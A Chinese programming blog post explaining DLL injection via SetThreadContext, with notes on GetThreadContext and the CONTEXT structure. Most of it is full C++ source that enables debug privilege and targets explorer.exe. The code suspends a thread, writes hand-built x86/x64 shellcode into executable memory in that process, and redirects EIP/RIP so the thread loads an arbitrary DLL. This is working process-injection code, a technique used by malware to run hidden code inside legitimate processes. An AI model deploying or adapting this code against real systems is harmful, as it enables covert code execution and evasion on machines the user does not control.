• Dll注入:x86/X64 SetThreadContext 注入


    在《Windows核心编程》第七章说到了线程优先级等知识,其中谈到了ThreadContext线程上下背景文。

    其中介绍了GetThreadContext函数来查看线程内核对象的内部,并获取当前CPU寄存器状态的集合。

    BOOL GetThreadContext (
    HANDLE  hThread,
    PCONTEXT  pContext);

    若要调用该函数,只需指定一个CONTEXT结构,对某些标志(该结构的ContextFlags成员)进行初始化,指明想要收回哪些寄存器,并将该结构的地址传递给GetThreadContext 。然后该函数将数据填入你要求的成员。
    在调用GetThreadContext函数之前,应该调用SuspendThread,否则,线程可能刚好被调度,这样一来,线程的上下文就和所获取的信息不一致了。
    示例代码如下: 
          

       CONTEXT Context;                  //定义一个CONTEXT结构
       Context.ContextFlags = CONTEXT_CONTROL;    //告诉系统我们想获取线程控制寄存器的内容   
       GetThreadContext(hThread, &Context);      //调用GetThreadContext获取相关信息

    Ps:在调用GetThreadContext函数之前,必须首先初始化CONTEXT结构的ContextFlags成员。
    要获得线程的所有重要的寄存器(也就是微软认为最常用的寄存器),应该像下面一样初始化ContextFlags:
    Context.ContextFlags = CONTEXT_FULL;

    通过vs2015的<winnt.h>中的定义可知CONTEXT的结构:

    typedef struct _CONTEXT {
    
        //
        // The flags values within this flag control the contents of
        // a CONTEXT record.
        //
        // If the context record is used as an input parameter, then
        // for each portion of the context record controlled by a flag
        // whose value is set, it is assumed that that portion of the
        // context record contains valid context. If the context record
        // is being used to modify a threads context, then only that
        // portion of the threads context will be modified.
        //
        // If the context record is used as an IN OUT parameter to capture
        // the context of a thread, then only those portions of the thread's
        // context corresponding to set flags will be returned.
        //
        // The context record is never used as an OUT only parameter.
        //
    
        DWORD ContextFlags;
    
        //
        // This section is specified/returned if CONTEXT_DEBUG_REGISTERS is
        // set in ContextFlags.  Note that CONTEXT_DEBUG_REGISTERS is NOT
        // included in CONTEXT_FULL.
        //
    
        DWORD   Dr0;
        DWORD   Dr1;
        DWORD   Dr2;
        DWORD   Dr3;
        DWORD   Dr6;
        DWORD   Dr7;
    
        //
        // This section is specified/returned if the
        // ContextFlags word contians the flag CONTEXT_FLOATING_POINT.
        //
    
        FLOATING_SAVE_AREA FloatSave;
    
        //
        // This section is specified/returned if the
        // ContextFlags word contians the flag CONTEXT_SEGMENTS.
        //
    
        DWORD   SegGs;
        DWORD   SegFs;
        DWORD   SegEs;
        DWORD   SegDs;
    
        //
        // This section is specified/returned if the
        // ContextFlags word contians the flag CONTEXT_INTEGER.
        //
    
        DWORD   Edi;
        DWORD   Esi;
        DWORD   Ebx;
        DWORD   Edx;
        DWORD   Ecx;
        DWORD   Eax;
    
        //
        // This section is specified/returned if the
        // ContextFlags word contians the flag CONTEXT_CONTROL.
        //
    
        DWORD   Ebp;
        DWORD   Eip;
        DWORD   SegCs;              // MUST BE SANITIZED
        DWORD   EFlags;             // MUST BE SANITIZED
        DWORD   Esp;
        DWORD   SegSs;
    
        //
        // This section is specified/returned if the ContextFlags word
        // contains the flag CONTEXT_EXTENDED_REGISTERS.
        // The format and contexts are processor specific
        //
    
        BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
    
    } CONTEXT;


    在WinNT. h头文件中,定义了CONTEXT_FULL为CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS。
    当然,我们还可以通过调用SetThreadContext函数来改变结构中的成员,并把新的寄存器值放回线程的内核对象中

    BOOL SetThreadContext (
    HANDLE  hThread,
    CONST CONTEXT  *pContext);

      由此考虑到可以修改EIP的值,来执行我们的代码,实现注入。首先我们先挂起目标线程,

             CONTEXT Context;      //定义一个CONTEXT结构      
             SuspendThread(hThread);  //挂起线程  
             ThreadContext.ContextFlags = CONTEXT_ALL;  //修改对Context操作的权限
             GetThreadContext(hThread, &Context);       //获得Context信息
             BufferData = VirtualAllocEx()  //在目标线程申请内存 来执行我们的shellcode
             编写shellcode 
         WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL) // 写入shellcode
         ThreadContext.Eip = (UINT32)BufferData //修改EIP指向
             Context.ContextFlags = CONTEXT_CONTROL;
             SetThreadContext(hThread, &Context);   //重新设置线程上下文
             ResumeThread(hThread);         //恢复线程,现在线程开始从BufferData这个地方开始执行指令

    // SetThreadContext.cpp : 定义控制台应用程序的入口点。
    //
    
    #include "stdafx.h"
    #include <Windows.h>
    #include <TlHelp32.h>
    #include <vector>
    #include <iostream>
    
    using namespace std;
    
    BOOL GrantPriviledge(WCHAR* PriviledgeName);
    BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId);
    BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector);
    BOOL Inject(UINT32 ProcessId, UINT32 ThreadId);
    
    
    #ifdef _WIN64
    
    UINT8    ShellCode[0x100] = {
        0x48,0x83,0xEC,0x28,    
    
        0x48,0x8D,0x0d,            
        0x00,0x00,0x00,0x00,    
    
    
        0xff,0x15,                
        0x00,0x00,0x00,0x00,    
    
        0x48,0x83,0xc4,0x28,    
    
        
        0xff,0x25,                
        0x00,0x00,0x00,0x00,    
    
        
        0x00,0x00,0x00,0x00,    
        0x00,0x00,0x00,0x00,    
    
        0x00,0x00,0x00,0x00,    
        0x00,0x00,0x00,0x00,    
    
    };
    #else
    
    UINT8    ShellCode[0x100] = {
        0x60,                    
        0x9c,                    
        0x68,                    
        0x00,0x00,0x00,0x00,    
        0xff,0x15,                
        0x00,0x00,0x00,0x00,    
        0x9d,                    
        0x61,                    
        0xff,0x25,                
        0x00,0x00,0x00,0x00,    
    
    
        0x00,0x00,0x00,0x00,    
    
        0x00,0x00,0x00,0x00,
    
        0x00,0x00,0x00,0x00        
    };
    
    #endif
    
    
    CHAR    DllFullPath[MAX_PATH] = { 0 };
    
    int main()
    {
        // 提权
        if (GrantPriviledge(SE_DEBUG_NAME) == FALSE)
        {
            printf("GrantPriviledge Error
    ");
        }
    
        UINT32    ProcessId = 0;
    
        GetCurrentDirectoryA(MAX_PATH, DllFullPath);
    
    #ifdef _WIN64
        GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);
    
        strcat_s(DllFullPath, "\x64Dll.dll");
    #else
        GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);
        strcat_s(DllFullPath, "\x86Dll.dll");
    #endif
    
        //枚举到线程id
        vector<UINT32> ThreadIdVector;
        GetThreadIdByProcessId(ProcessId, ThreadIdVector);
    
        for (UINT32 ThreadId : ThreadIdVector)
        {
            Inject(ProcessId, ThreadId);
            break;            
        }
    
        Sleep(3000);
    
        return 0;
    }
    
    UINT32    Count = 0;
    BOOL Inject(UINT32 ProcessId, UINT32 ThreadId)
    {
        HANDLE    ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
        HANDLE    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
    
        // 首先挂起线程
        SuspendThread(ThreadHandle);
    
        CONTEXT        ThreadContext = { 0 };
        ThreadContext.ContextFlags = CONTEXT_ALL;
        if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE)
        {
            cout << GetLastError() << endl;
            CloseHandle(ThreadHandle);
            CloseHandle(ProcessHandle);
            return FALSE;
        }
    
        PVOID    BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (BufferData != NULL)
        {
            UINT_PTR    LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA");
            if (LoadLibraryAddress != NULL)
            {
    #ifdef _WIN64
    
                // ShellCode + 43
                PUINT8    v1 = ShellCode + 43;
                memcpy(v1, DllFullPath, strlen(DllFullPath) + 1);
                UINT32    DllNameOffset = (UINT32)(((PUINT8)BufferData + 43) - ((PUINT8)BufferData + 4) - 7);
                *(PUINT32)(ShellCode + 7) = DllNameOffset;
    
                // ShellCode + 35
                *(PUINT64)(ShellCode + 35) = (UINT64)LoadLibraryAddress;
                UINT32    LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + 35) - ((PUINT8)BufferData + 11) - 6);
                *(PUINT32)(ShellCode + 13) = LoadLibraryAddressOffset;
    
                *(PUINT64)(ShellCode + 27) = ThreadContext.Rip;
                
                if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
                {
                    return FALSE;
                }
                ThreadContext.Rip = (UINT64)BufferData;
    
    #else
                PUINT8    v1 = ShellCode + 29;
    
                memcpy((char*)v1, DllFullPath, strlen(DllFullPath) + 1);    
                *(PUINT32)(ShellCode + 3) = (UINT32)BufferData + 29;
    
                *(PUINT32)(ShellCode + 25) = LoadLibraryAddress;  
                *(PUINT32)(ShellCode + 9) = (UINT32)BufferData + 25;
                                                                 
                *(PUINT32)(ShellCode + 21) = ThreadContext.Eip;
                *(PUINT32)(ShellCode + 17) = (UINT32)BufferData + 21;
                if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
                {
                    printf("write Process Error
    ");
                    return FALSE;
                }
                ThreadContext.Eip = (UINT32)BufferData;
    
    #endif            
                if (!SetThreadContext(ThreadHandle, &ThreadContext))
                {
                    printf("set thread context error
    ");
                    return FALSE;
                }
                ResumeThread(ThreadHandle);
    
                printf("ShellCode 注入完成: %d
    ", ++Count);
            }
        }
    
        CloseHandle(ThreadHandle);
        CloseHandle(ProcessHandle);
        return TRUE;
    }
    
    //获得线程ID
    BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector)
    {
        HANDLE            ThreadSnapshotHandle = NULL;
        THREADENTRY32    ThreadEntry32 = { 0 };
    
        ThreadEntry32.dwSize = sizeof(THREADENTRY32);
    
        ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
        {
            return FALSE;
        }
    
        Thread32First(ThreadSnapshotHandle, &ThreadEntry32);
        do
        {
            if (ThreadEntry32.th32OwnerProcessID == ProcessId)
            {
                ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID);        // 把该进程的所有线程id压入模板
            }
        } while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32));
    
        CloseHandle(ThreadSnapshotHandle);
        ThreadSnapshotHandle = NULL;
        return TRUE;
    }
    
    
    BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId)
    {
        HANDLE            ProcessSnapshotHandle = NULL;
        PROCESSENTRY32    ProcessEntry32 = { 0 };
    
        ProcessEntry32.dwSize = sizeof(PROCESSENTRY32);        
    
        ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    
    
        if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
        {
            return FALSE;
        }
    
        Process32First(ProcessSnapshotHandle, &ProcessEntry32);        
        do
        {
            if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0)        
            {
                *TargetProcessId = ProcessEntry32.th32ProcessID;
                break;
            }
        } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32));
    
        CloseHandle(ProcessSnapshotHandle);
        ProcessSnapshotHandle = NULL;
        return TRUE;
    }
    
    
    
    // 提限
    BOOL GrantPriviledge(WCHAR* PriviledgeName)
    {
        TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges;
        DWORD             dwReturnLength = sizeof(OldPrivileges);
        HANDLE             TokenHandle = NULL;
        LUID             uID;
    
        // 打开权限令牌
        if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle))
        {
            if (GetLastError() != ERROR_NO_TOKEN)
            {
                return FALSE;
            }
            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
            {
                return FALSE;
            }
        }
    
        //查看权限令牌
        if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID))        
        {
            CloseHandle(TokenHandle);
            return FALSE;
        }
    
        TokenPrivileges.PrivilegeCount = 1;        
        TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    
        TokenPrivileges.Privileges[0].Luid = uID;
    
        // 调整权限
        if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength))
        {
            CloseHandle(TokenHandle);
            return FALSE;
        }
    
        CloseHandle(TokenHandle);
        return TRUE;
    }

    该方法注入explorer,只能注入一次,然后需要重启电脑。

  • 相关阅读:
    UML类图学习总结
    Java和C# RSA加解密相互通信和使用公钥加密传输
    C#des加密算法指定键的大小对于此算法无效
    WCF--找不到具有绑定 BasicHttpBinding 的终结点的与方案 https 匹配的基址。注册的基址方案是 [http]。
    IIS7 使用server farms 进行负载均衡
    iis7 未注册framework4 导致 莫名的404错误
    启用代理导致 有道云笔记未知错误、网络错误和OneDrive断线
    AspNetCore发布到Centos7
    c# 操作临时数据---XML操作
    c# 获取程序目录
  • 原文地址:https://www.cnblogs.com/HsinTsao/p/6439012.html
Copyright © 2020-2023  润新知